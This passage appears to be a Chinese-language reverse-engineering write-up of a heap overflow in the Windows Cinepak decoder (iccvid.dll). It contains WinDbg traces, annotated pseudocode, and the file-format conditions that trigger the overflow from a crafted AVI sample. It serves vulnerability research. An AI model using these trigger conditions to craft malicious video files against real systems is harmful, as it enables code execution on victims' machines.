73b722a6 89450c mov dword ptr [ebp+0Ch],eax ss:0023:025afd3c=00000000 ; a2 = eax = 0x00000000 = [(Strips bottom Y position)-(Strips top Y position)]*1
0:013> p
eax=00000000 ebx=001535b0 ecx=00004141 edx=025afd38 esi=00ba6922 edi=00000000
eip=73b722a9 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ;
iccvid!CVDecompress+0xfb:
73b722a9 8b45fc mov eax,dword ptr [ebp-4] ss:0023:025afd2c=00004000 ; eax = [ebp-4] = 0x4000,堆缓冲区指针偏移
0:013> p
eax=00004000 ebx=001535b0 ecx=00004141 edx=025afd38 esi=00ba6922 edi=00000000
eip=73b722ac esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0xfe:
73b722ac 3bc7 cmp eax,edi ; 判断局部变量[ebp-4]是否为0
0:013> p
eax=00004000 ebx=001535b0 ecx=00004141 edx=025afd38 esi=00ba6922 edi=00000000
eip=73b722ae esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0x100:
73b722ae 7421 je iccvid!CVDecompress+0x123 (73b722d1) [br=0] ; 为0则跳转,这里不跳转
0:013> p
eax=00004000 ebx=001535b0 ecx=00004141 edx=025afd38 esi=00ba6922 edi=00000000
eip=73b722b0 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0x102:
73b722b0 807d1300 cmp byte ptr [ebp+13h],0 ss:0023:025afd43=00 ; 判断a3(Len_of_CVID_data)的最高字节是否为0,Frame Header的Flags
0:013> p
eax=00004000 ebx=001535b0 ecx=00004141 edx=025afd38 esi=00ba6922 edi=00000000
eip=73b722b4 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x106:
73b722b4 751b jne iccvid!CVDecompress+0x123 (73b722d1) [br=0] ; 不相等则跳转,这里不跳转
0:013> p
eax=00004000 ebx=001535b0 ecx=00004141 edx=025afd38 esi=00ba6922 edi=00000000
eip=73b722b6 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x108:
73b722b6 803e11 cmp byte ptr [esi],11h ds:0023:00ba6922=11 ; 判断Strip CVID ID的高位字节是否为0x11
0:013> p
eax=00004000 ebx=001535b0 ecx=00004141 edx=025afd38 esi=00ba6922 edi=00000000
eip=73b722b9 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x10b:
73b722b9 7516 jne iccvid!CVDecompress+0x123 (73b722d1) [br=0] ; 不等于则跳转,这里不跳转
0:013> p
eax=00004000 ebx=001535b0 ecx=00004141 edx=025afd38 esi=00ba6922 edi=00000000
eip=73b722bb esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x10d:
73b722bb 8b4b1c mov ecx,dword ptr [ebx+1Ch] ds:0023:001535cc=001535f8 ; ebx = a1 = 001535b0,ecx = 0x001535f8,堆块数据区域首指针
0:013> p
eax=00004000 ebx=001535b0 ecx=001535f8 edx=025afd38 esi=00ba6922 edi=00000000
eip=73b722be esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x110:
73b722be 8d3c01 lea edi,[ecx+eax] ; edi = 0x001575f8,堆块数据区域指针增加0x4000
0:013> p
eax=00004000 ebx=001535b0 ecx=001535f8 edx=025afd38 esi=00ba6922 edi=001575f8
eip=73b722c1 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x113:
73b722c1 b900080000 mov ecx,800h ; ecx = 0x800,复制数据长度
0:013> p
eax=00004000 ebx=001535b0 ecx=00000800 edx=025afd38 esi=00ba6922 edi=001575f8
eip=73b722c6 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x118:
73b722c6 8db700e0ffff lea esi,[edi-2000h] ; esi = 0x001555f8,堆块数据区域指针
0:013> p
eax=00004000 ebx=001535b0 ecx=00000800 edx=025afd38 esi=001555f8 edi=001575f8
eip=73b722cc esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x11e:
73b722cc f3a5 rep movs dword ptr es:[edi],dword ptr [esi] ; 第2次复制数据
0:013> !heap -p -a edi
address 001575f8 found in
_HEAP @ 90000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
001535f0 0c01 0000 [01] 001535f8 06000 - (busy)

  通过以上分析CVDecompress函数名字,我们可以基本分析出CVDecompress函数功能,其功能是解码Cinepak(CVID)编解码器编码的视频数据。只有“Strip CVID ID”0x1100时,才进行堆块内存复制。上面的分析未分析完全,只分析到第二次堆块内存复制,完整的过程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
eax=00002000 ebx=00157638 ecx=00000800 edx=0259fd38 esi=00157680 edi=00159680
eip=73b722cc esp=0259fd04 ebp=0259fd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x11e:
73b722cc f3a5 rep movs dword ptr es:[edi],dword ptr [esi] ; 第1次复制数据
0:012> !heap -p -a edi
address 00159680 found in
_HEAP @ 90000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
00157678 0c01 0000 [01] 00157680 06000 - (busy)
0:012> bd 1
0:012> p
eax=00002000 ebx=00157638 ecx=00000000 edx=0259fd38 esi=00159680 edi=0015b680
eip=73b722ce esp=0259fd04 ebp=0259fd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x120:
73b722ce 8b75e8 mov esi,dword ptr [ebp-18h] ss:0023:0259fd18=00ba6912
0:012> be 1
0:012> g
Breakpoint 1 hit
eax=00004000 ebx=00157638 ecx=00000800 edx=0259fd38 esi=00159680 edi=0015b680
eip=73b722cc esp=0259fd04 ebp=0259fd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x11e:
73b722cc f3a5 rep movs dword ptr es:[edi],dword ptr [esi] ; 第2次复制数据
0:012> bd 1
0:012> p
eax=00004000 ebx=00157638 ecx=00000000 edx=0259fd38 esi=0015b680 edi=0015d680
eip=73b722ce esp=0259fd04 ebp=0259fd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x120:
73b722ce 8b75e8 mov esi,dword ptr [ebp-18h] ss:0023:0259fd18=00ba6922
0:012> be 1
0:012> g
Breakpoint 1 hit
eax=00006000 ebx=00157638 ecx=00000800 edx=0259fd38 esi=0015b680 edi=0015d680
eip=73b722cc esp=0259fd04 ebp=0259fd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x11e:
73b722cc f3a5 rep movs dword ptr es:[edi],dword ptr [esi] ; 第3次复制数据
0:012> bd 1
0:012> p
(f68.ff4): Access violation - code c0000005 (first chance) <---- 内存访问违例
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00006000 ebx=00157638 ecx=000001a0 edx=0259fd38 esi=0015d000 edi=0015f000
eip=73b722cc esp=0259fd04 ebp=0259fd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
iccvid!CVDecompress+0x11e:
73b722cc f3a5 rep movs dword ptr es:[edi],dword ptr [esi] ; 内存访问违例
0:014> !address edi
Failed to map Heaps (error 80004005)
Usage: <unclassified>
Allocation Base: 00090000
Base Address: 0015f000
End Address: 00190000
Region Size: 00031000
Type: 00020000 MEM_PRIVATE
State: 00002000 MEM_RESERVE ; 即保留内存,保留内存尚不能被实际使用,但其地址空间已被预留,尚需一个提交动作。
Protect: 00000000

  通过上面的分析过程,我们可以知道总共进行了3次堆块内存数据复制第3次数据复制过程中发生内存访问违例。堆块数据区域大小为0x6000字节第1次堆块内存数据复制时,源地址(esi)为堆块数据区域首地址目的地址(edi)为堆块数据区域首地址+0x2000复制数据长度(ecx)为0x800*4=0x2000字节第2次堆块内存数据复制时,源地址(esi)为堆块数据区域首地址+0x2000目的地址(edi)为堆块数据区域首地址+0x4000复制数据长度(ecx)为0x800*4=0x2000字节第3次堆块内存数据复制时,源地址(esi)为堆块数据区域首地址+0x4000目的地址(edi)为堆块数据区域首地址+0x6000复制数据长度(ecx)为0x800*4=0x2000字节。但是第3次堆块内存数据复制时的目的地址已经超出了0x6000字节的堆块数据区域,覆盖了下一个堆块,造成了堆溢出。之后的数据复制由于对内存状态(State)为MEM_RESERVE的内存进行写数据,造成了内存访问异常

0x40 漏洞利用

  经过之前的分析,可以知道只有同时满足“Strip CVID ID”0x1100“Frame Header”中的“Flags”0x00“Frame Header”中的“Number of coded strips”大于1时,才进行堆块内存复制。当“00dc”视频编码数据块中的“Strip CVID ID”0x1100的Strip的个数大于等于3时,就会造成堆溢出。通过前面对CVDecompress函数的功能的分析,以及IDA分析出的CVDecompress函数伪代码,我们对其伪代码中的变量进行重命名,可以得到如下更为容易理解伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
signed int __stdcall CVDecompress(unsigned int arg1, _BYTE *cinepak_codec_data1, unsigned int idx1_Len_of_CVID_data, int a4, int a5, int a6, int a7)
{
unsigned int arg11; // ebx
_BYTE *v8; // esi
int v9; // ST18_4
signed int result; // eax
_BYTE *cinepak_codec_data11; // esi
int Len_of_CVID_data; // eax
unsigned __int16 Num_of_coded_strips; // ax
_BYTE *cinepak_codec_data2; // esi
unsigned __int16 v15; // cx
unsigned __int16 Strips_bottom_Y_position; // ax
unsigned __int16 Strips_top_Y_position; // cx
int Strip_Y_pixel; // eax
int CVID_Chunk_ID_Ptr; // edi
unsigned __int8 *CVID_Chunk_ID_Ptr1; // ecx
unsigned __int16 v21; // dx
unsigned int Size_of_chunk_data; // edx
signed int v23; // eax
unsigned int Size_of_chunk_data1; // [esp+Ch] [ebp-20h]
int Num_of_coded_strips1; // [esp+10h] [ebp-1Ch]
_BYTE *cinepak_codec_data21; // [esp+14h] [ebp-18h]
int CVID_Chunk_ID_Ptr2; // [esp+14h] [ebp-18h]
int num; // [esp+18h] [ebp-14h]
unsigned int remain_coded_data_size; // [esp+1Ch] [ebp-10h]
_BYTE *cinepak_codec_data22; // [esp+20h] [ebp-Ch]
unsigned int Size_of_strip_data; // [esp+24h] [ebp-8h]
int Heap_Ptr_Offset; // [esp+28h] [ebp-4h]

arg11 = arg1;
v8 = *(_BYTE **)(arg1 + 36);
if ( v8 ) // v8 == 0x0
{
v9 = a7;
*(_DWORD *)(arg1 + 36) = 0;
CVDecompress(arg11, v8, 0x2446u, 0, 0, 0, v9);
LocalFree(v8);
}
result = 0;
// idx1_Len_of_CVID_data如果小于0x20,则直接退出,idx1_Len_of_CVID_data为CVID数据长度
if ( idx1_Len_of_CVID_data >= 0x20 )
{
cinepak_codec_data11 = cinepak_codec_data1; // cinepak_codec_data1指针
BYTE1(result) = cinepak_codec_data1[1]; // CVID数据长度的第3个字节
LOBYTE(result) = cinepak_codec_data1[2]; // CVID数据长度的第2个字节
Len_of_CVID_data = (unsigned __int8)cinepak_codec_data1[3] | (result << 8);// 以大端读取CVID数据长度
// idx1_Len_of_CVID_data为从“idx1”索引块中读出的数据块的数据长度,Len_of_CVID_data为从对应的数据块中读出的数据长度,这里判断它们是否相同
// Frame Header->Flags
// 如果Len_of_CVID_data>=0xA,0xA为Frame Header的大小,则返回0,且计算出减去Frame Header的大小后,剩余的数据的大小,否则返回一个负数
if ( (signed int)idx1_Len_of_CVID_data < Len_of_CVID_data
|| (HIBYTE(idx1_Len_of_CVID_data) = *cinepak_codec_data1,
ULongSub(Len_of_CVID_data, 0xAu, &remain_coded_data_size) < 0) )
{
LABEL_33:
result = 0;
}
else
{
HIBYTE(Num_of_coded_strips) = cinepak_codec_data11[8];// Number of coded strips的高位字节
cinepak_codec_data2 = cinepak_codec_data11 + 0xA;// cinepak_codec_data2指针
num = 0; // coded strip计数器
cinepak_codec_data21 = cinepak_codec_data2;// cinepak_codec_data2指针
cinepak_codec_data22 = cinepak_codec_data2;// cinepak_codec_data2指针
LOBYTE(Num_of_coded_strips) = *(cinepak_codec_data2 - 1);// Number of coded strips的低位字节
Num_of_coded_strips1 = Num_of_coded_strips;// 以大端读取Number of coded strips
if ( (signed int)Num_of_coded_strips > 0 )
{
Heap_Ptr_Offset = 0;
do
{
// 判断“00dc”数据块剩余未解码数据长度是否小于0x16
if ( remain_coded_data_size < 0x16 )
break;
HIBYTE(v15) = cinepak_codec_data2[1]; // Strip CVID ID的低位字节
LOBYTE(v15) = cinepak_codec_data2[2]; // Size of strip data的高位字节
Size_of_strip_data = (unsigned __int8)cinepak_codec_data2[3] | (v15 << 8);// 以大端读取Size of strip data
// 判断“00dc”数据块剩余未解码数据长度是否小于Size_of_strip_data
if ( remain_coded_data_size < Size_of_strip_data )
break;
// 判断Strip CVID ID的高位字节是否为0x10和0x11
if ( *cinepak_codec_data2 == 0x10 || *cinepak_codec_data2 == 0x11 )
{
// 如果Size_of_strip_data>=0xC,0xC为Strip Header大小,则返回0,且计算出减去Strip Header的大小后,剩余的数据大小,否则返回一个负数
if ( ULongSub(Size_of_strip_data, 0xCu, &arg1) < 0 )
goto LABEL_33;
HIBYTE(Strips_bottom_Y_position) = cinepak_codec_data2[8];// Strips bottom Y position的高位字节
HIBYTE(Strips_top_Y_position) = cinepak_codec_data2[4];// Strips top Y position的高位字节
LOBYTE(Strips_bottom_Y_position) = cinepak_codec_data2[9];// Strips bottom Y position的低位字节
LOBYTE(Strips_top_Y_position) = cinepak_codec_data2[5];// Strips top Y position的低位字节
Strip_Y_pixel = Strips_bottom_Y_position - Strips_top_Y_position;
LOWORD(Strip_Y_pixel) = *(_WORD *)(arg11 + 46) * Strip_Y_pixel;
cinepak_codec_data1 = (_BYTE *)Strip_Y_pixel;
// 1、Heap_Ptr_Offset不为0
// 2、Frame Header->Flags为0x00,不使用上一个条(Strips)中定义的codebooks
// 3、Strip CVID ID的高位字节为0x11
// 4、则进行数据复制
if ( Heap_Ptr_Offset && !HIBYTE(idx1_Len_of_CVID_data) && *cinepak_codec_data2 == 0x11 )
{
// 目的地址: 源地址+0x2000
// 源地址: 0x6000大小的堆块,第1次:0x0,第2次:0x2000,第3次:0x4000(相对于堆块数据区域首地址的偏移)
// 复制数据长度: 0x2000字节
qmemcpy(
(void *)(*(_DWORD *)(arg11 + 28) + Heap_Ptr_Offset),
(const void *)(*(_DWORD *)(arg11 + 28) + Heap_Ptr_Offset - 0x2000),
0x2000u);
cinepak_codec_data2 = cinepak_codec_data21;
}
CVID_Chunk_ID_Ptr = (int)(cinepak_codec_data22 + 0xC);
CVID_Chunk_ID_Ptr1 = cinepak_codec_data2 + 0xC;
*(_DWORD *)(arg11 + 56) = Heap_Ptr_Offset + *(_DWORD *)(arg11 + 32);
CVID_Chunk_ID_Ptr2 = (int)(cinepak_codec_data2 + 0xC);
*(_DWORD *)(arg11 + 60) = a7;
// 判断Size_of_strip_data减去Strip Header的大小后,剩余的数据大小是否大于等于4,也就是Chunk Data不为空
while ( arg1 >= 4 )
{
HIBYTE(v21) = CVID_Chunk_ID_Ptr1[1];// CVID Chunk ID的低位字节
LOBYTE(v21) = CVID_Chunk_ID_Ptr1[2];// Size of chunk data的高位字节
Size_of_chunk_data = CVID_Chunk_ID_Ptr1[3] | (v21 << 8);// Size of chunk data的低位字节,以大端读取Size of chunk data
Size_of_chunk_data1 = Size_of_chunk_data;
// 判断Size_of_strip_data减去Strip Header的大小后,剩余的数据大小是否小于Size_of_chunk_data
if ( arg1 < Size_of_chunk_data )
break;
switch ( *CVID_Chunk_ID_Ptr1 ) // CVID Chunk ID的高位字节
{
case 0x20u: // List of blocks in 12 bit V4 codebook
case 0x21u: // Selective list of blocks to update 12 bit V4 codebook
case 0x24u: // List of blocks in 8 bit V4 codebook
case 0x25u: // Selective list of blocks to update 8 bit V4 codebook
(*(void (__stdcall **)(int, _DWORD, _DWORD, _DWORD))arg11)(
CVID_Chunk_ID_Ptr,
*(_DWORD *)(arg11 + 56),
*(_DWORD *)(arg11 + 52),
*(_DWORD *)(arg11 + 48)); // ExpandCodeBook32()
break;
case 0x22u: // List of blocks in 12 bit V1 codebook
case 0x23u: // Selective list of blocks to update 12 bit V1 codebook
case 0x26u: // List of blocks in 8 bit V1 codebook
case 0x27u: // Selective list of blocks to update 8 bit V1 codebook
(*(void (__stdcall **)(int, int, _DWORD, _DWORD))(arg11 + 4))(
CVID_Chunk_ID_Ptr,
*(_DWORD *)(arg11 + 56) + 0x1000,
*(_DWORD *)(arg11 + 52),
*(_DWORD *)(arg11 + 48)); // ExpandCodeBook32()
break;
case 0x30u: // Vectors used to encode a frame
(*(void (__stdcall **)(unsigned int, int, unsigned int, int, int, int, _BYTE *))(arg11 + 8))(
arg11,
CVID_Chunk_ID_Ptr + 4,
Size_of_chunk_data - 4,
a4,
a5,
a6,
cinepak_codec_data1); // DrawKey32()
break;
case 0x31u: // Selective set of vectors used to encode a frame
(*(void (__stdcall **)(unsigned int, int, unsigned int, int, int, int, _BYTE *))(arg11 + 16))(
arg11,
CVID_Chunk_ID_Ptr + 4,
Size_of_chunk_data - 4,
a4,
a5,
a6,
cinepak_codec_data1); // DrawInter32()
break;
case 0x32u: // List of blocks from only the V1 codebook
(*(void (__stdcall **)(unsigned int, int, unsigned int, int, int, int, _BYTE *))(arg11 + 12))(
arg11,
CVID_Chunk_ID_Ptr + 4,
Size_of_chunk_data - 4,
a4,
a5,
a6,
cinepak_codec_data1); // DrawSmooth32()
break;
default:
break;
}
CVID_Chunk_ID_Ptr1 = (unsigned __int8 *)(Size_of_chunk_data1 + CVID_Chunk_ID_Ptr2);
v23 = 1;
CVID_Chunk_ID_Ptr += Size_of_chunk_data1;
CVID_Chunk_ID_Ptr2 += Size_of_chunk_data1;
if ( Size_of_chunk_data1 > 1 )
v23 = Size_of_chunk_data1;
// Size_of_strip_data减去Strip Header的大小后,剩余的数据大小再减去Size_of_chunk_data(1个Strip可以包含多个CVID Chunk)
arg1 -= v23;
}
a6 += a7 * (signed __int16)cinepak_codec_data1;
++num; // coded strip计数器
Heap_Ptr_Offset += 0x2000; // 堆数据区指针偏移+0x2000
}
cinepak_codec_data22 += Size_of_strip_data;// 指向下一个Strip Header
remain_coded_data_size -= Size_of_strip_data;// “00dc”数据块剩余未解码数据长度
cinepak_codec_data2 += Size_of_strip_data;// 指向下一个Strip Header
cinepak_codec_data21 = cinepak_codec_data2;// 指向下一个Strip Header
}
while ( num < Num_of_coded_strips1 );
}
result = 1;
}
}
return result;
}

  一个正常的使用Cinepak视频编解码器对视频数据编码的样本,可以在这里找到。我分析时使用的是样本cvid-crash.avi。此样本的实际视频数据块,也就是“movi”列表,全部是由“00dc”压缩视频帧数据块“JUNK”块构成。其中“00dc”压缩视频帧数据块中存放的数据就是经过Cinepak视频编解码器编码后的视频帧数据,每个“00dc”压缩视频帧数据块应该保存的是此视频一帧的数据。每个“00dc”数据块包含一个“Frame Header”和一个“Strip”。整个“movi”列表只包含一个“Strip CVID ID”0x1000“00dc”数据块,其余的“00dc”数据块中的“Strip”“Strip CVID ID”都为0x1100。整个“movi”列表的结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
+------+--------+--------+
| | | 0x2000 | <--- List of blocks in 12 bit V4 codebook
| 00dc | 0x1000 | 0x2200 | <--- List of blocks in 12 bit V1 codebook
| | | 0x3000 | <--- Vectors used to encode a frame
+------+--------+--------+
| | | 0x2100 | <--- Selective list of blocks to update 12 bit V4 codebook
| 00dc | 0x1100 | 0x2300 | <--- Selective list of blocks to update 12 bit V1 codebook
| | | 0x3100 | <--- Selective set of vectors used to encode a frame
+------+--------+--------+
| | | 0x2100 | <--- Selective list of blocks to update 12 bit V4 codebook
| 00dc | 0x1100 | 0x2300 | <--- Selective list of blocks to update 12 bit V1 codebook
| | | 0x3100 | <--- Selective set of vectors used to encode a frame
+------+--------+--------+
| .... | .... | .... |
+------+--------+--------+

  堆块数据区域起始0x2000字节的数据是从“Strip CVID ID”0x1000Strip中的“CVID Chunk”中的数据解码后得到的。这0x2000字节的数据的前0x1000字节数据是从“CVID Chunk ID”0x2000“CVID Chunk”中数据解码后得到的。后0x1000字节数据是从“CVID Chunk ID”0x2200“CVID Chunk”中数据解码后得到的。

  这里的“CVID Chunk ID”0x20000x2200“CVID Chunk”还称为CodeBooksCodeBooks中的内容是CodeBooks向量,在12bpp模式下,每个CodeBooks向量包含4个8位亮度值(luminance)和2个子采样的8位色度值(chrominance),也就是6字节为一个CodeBooks向量。每个CodeBooks最多包含256个条目,所以一个CodeBooks最多包含256个CodeBooks向量

  当解码“CVID Chunk ID”0x20000x2200CodeBooks时,会调用ExpandCodeBook32()函数进行解码。6字节CodeBooks向量会被解码为16字节数据。所以一个CodeBooks解码后的数据最大占用256*16=4096=0x1000字节。ExpandCodeBook32()函数经过逆向后的结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
char __stdcall ExpandCodeBook32(unsigned int CVID_Chunk_ID_Ptr, int Heap_UserPtr, int a3, int a4)
{
unsigned __int8 *CVID_Chunk_ID_Ptr1; // edi
unsigned __int16 v5; // dx
int v6; // eax
unsigned int v7; // ecx
unsigned __int8 *v8; // esi
unsigned int v9; // edx
char *v10; // edi
signed __int8 v11; // al
__int16 v12; // bx
int v13; // ecx
__int16 v14; // ax
char v15; // al
__int16 v16; // cx
char v17; // al
__int16 v18; // cx
char v19; // al
__int16 v20; // cx
char v21; // al
__int16 v22; // cx
char v23; // al
__int16 v24; // cx
char v25; // al
__int16 v26; // cx
char v27; // al
__int16 v28; // cx
char v29; // al
__int16 v30; // cx
char *v31; // edi
signed __int8 v32; // al
__int16 v33; // bx
int v34; // ecx
__int16 v35; // ax
char v36; // al
__int16 v37; // cx
char v38; // al
__int16 v39; // cx
char v40; // al
__int16 v41; // cx
char v42; // al
__int16 v43; // cx
char v44; // al
__int16 v45; // cx
char v46; // al
__int16 v47; // cx
char v48; // al
__int16 v49; // cx
char v50; // al
__int16 v51; // cx
char v52; // dl
char v53; // dl
char v54; // dl
char v55; // dl
_BYTE *v56; // esi
char v57; // al
char v58; // al
char v59; // al
unsigned int v61; // [esp+Ch] [ebp-14h]
int v62; // [esp+10h] [ebp-10h]
unsigned int v63; // [esp+14h] [ebp-Ch]
unsigned int v64; // [esp+18h] [ebp-8h]
unsigned int num; // [esp+1Ch] [ebp-4h]

num = 0;
CVID_Chunk_ID_Ptr1 = (unsigned __int8 *)CVID_Chunk_ID_Ptr;
LOBYTE(v5) = 0;
HIBYTE(v5) = *(_WORD *)(CVID_Chunk_ID_Ptr + 2);// Size of chunk data HByte,0x0600
v6 = (unsigned int)*(unsigned __int16 *)(CVID_Chunk_ID_Ptr + 2) >> 8;// 0x0406->0x0004,Size of chunk data LByte
v7 = CVID_Chunk_ID_Ptr + 4; // Chunk data
v8 = (unsigned __int8 *)(CVID_Chunk_ID_Ptr + 4);// Chunk data
v64 = CVID_Chunk_ID_Ptr + 4; // Chunk data
v9 = (v6 | v5) - 4; // v9 = Size of chunk data - 4
v63 = CVID_Chunk_ID_Ptr + 4; // Chunk data
CVID_Chunk_ID_Ptr = v9;
if ( v9 ) // 判断chunk data长度是否为0
{
v6 = *CVID_Chunk_ID_Ptr1; // CVID_Chunk_ID_HByte
switch ( v6 )
{
case 0x20:
case 0x22:
if ( v9 >= 6 ) // chunk data长度是否大于等于6字节(一个codebook vector的大小)
{
v10 = (char *)(Heap_UserPtr + 2);
// 6字节codebook vector转换为16字节数据,堆缓冲区保存解压后的数据
do
{
if ( num >= 256 ) // codebooks最多包含256个codebook vector
break;
LOWORD(v7) = (char)v8[5]; // 第6字节数据
v11 = v8[4]; // 第5字节数据
v12 = v11; // 第5字节数据
v64 = 2 * v7; // 第6字节数据*2
v13 = -v7 - v11 / 2; // -第6字节数据-第5字节数据/2
v14 = *v8; // 第1字节数据
v12 *= 2; // 第5字节数据*2
Heap_UserPtr = v13;
v15 = GetBounding24(v14 + v12 + 64);// 第1字节数据+第5字节数据*2+0x40
v16 = Heap_UserPtr;
*(v10 - 2) = v15; // 堆缓冲区第1字节
v17 = GetBounding24(*v8 + v16 + 64);// 第1字节数据+(-第6字节数据-第5字节数据/2)+0x40
v18 = v64;
*(v10 - 1) = v17; // 堆缓冲区第2字节
*v10 = GetBounding24(*v8 + v18 + 64);// 第1字节数据+第6字节数据*2+0x40,堆缓冲区第3字节
v19 = GetBounding24(v8[1] + v12 + 64);// 第2字节数据+第5字节数据*2+0x40
v20 = Heap_UserPtr;
v10[2] = v19; // 堆缓冲区第5字节
v21 = GetBounding24(v8[1] + v20 + 64);// 第2字节数据+(-第6字节数据-第5字节数据/2)+0x40
v22 = v64;
v10[3] = v21; // 堆缓冲区第6字节
v10[4] = GetBounding24(v8[1] + v22 + 64);// 第2字节数据+第6字节数据*2+0x40,堆缓冲区第7字节
v23 = GetBounding24(v8[2] + v12 + 64);// 第3字节数据+第5字节数据*2+0x40
v24 = Heap_UserPtr;
v10[6] = v23; // 堆缓冲区第9字节
v25 = GetBounding24(v8[2] + v24 + 64);// 第3字节数据+(-第6字节数据-第5字节数据/2)+0x40
v26 = v64;
v10[7] = v25; // 堆缓冲区第10字节
v10[8] = GetBounding24(v8[2] + v26 + 64);// 第3字节数据+第6字节数据*2+0x40,堆缓冲区第11字节
v27 = GetBounding24(v8[3] + v12 + 64);// 第4字节数据+第5字节数据*2+0x40
v28 = Heap_UserPtr;
v10[10] = v27; // 堆缓冲区第13字节
v29 = GetBounding24(v8[3] + v28 + 64);// 第4字节数据+(-第6字节数据-第5字节数据/2)+0x40
v30 = v64;
v10[11] = v29; // 堆缓冲区第14字节
LOBYTE(v6) = GetBounding24(v8[3] + v30 + 64);// 第4字节数据+第6字节数据*2+0x40
v10[12] = v6; // 堆缓冲区第15字节
CVID_Chunk_ID_Ptr -= 6; // chunk data长度-6
v8 += 6; // Chunk data指针+6
++num; // codebook vector计数器
v10 += 16; // 堆缓冲区指针+16
}
while ( CVID_Chunk_ID_Ptr >= 6 );
}
break;
case 0x21:
case 0x23:
// 4字节Update Flags,[Update Flags中1的个数个codebook vector],4字节Update Flags,[Update Flags中1的个数个codebook vector]...
v61 = 0;
if ( v9 >= 6 ) // chunk data长度是否大于6字节(一个codebook vector的大小)
{
